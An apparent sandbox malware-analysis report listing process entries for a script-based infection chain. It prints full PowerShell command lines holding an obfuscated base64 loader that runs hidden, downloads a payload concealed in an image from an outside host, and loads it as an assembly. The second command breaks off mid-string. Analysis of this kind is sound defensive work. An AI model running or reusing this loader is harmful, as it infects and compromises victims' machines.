Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe"
Imagebase:	0xd0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:37:22
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\oahxgk.vbs"
Imagebase:	0xd0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:37:30
Start date:	01/05/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\osma.vbs"
Imagebase:	0x7ff70a210000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 6344, Parent PID: 5296

General

Target ID:	14
Start time:	08:37:47
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreYwBjDgTreGMDgTreZQByDgTreC8DgTrecwBjDgTreC8DgTreegBuDgTreC4DgTreZQBuDgTreGkDgTreZDgTreBsDgTreGEDgTrecgBlDgTreGcDgTreeQBhDgTreHQDgTrecwDgTrevDgTreC8DgTreOgBzDgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBvDgTreHYDgTreYQDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
Imagebase:	0xd50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	08:37:47
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	08:37:48
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTre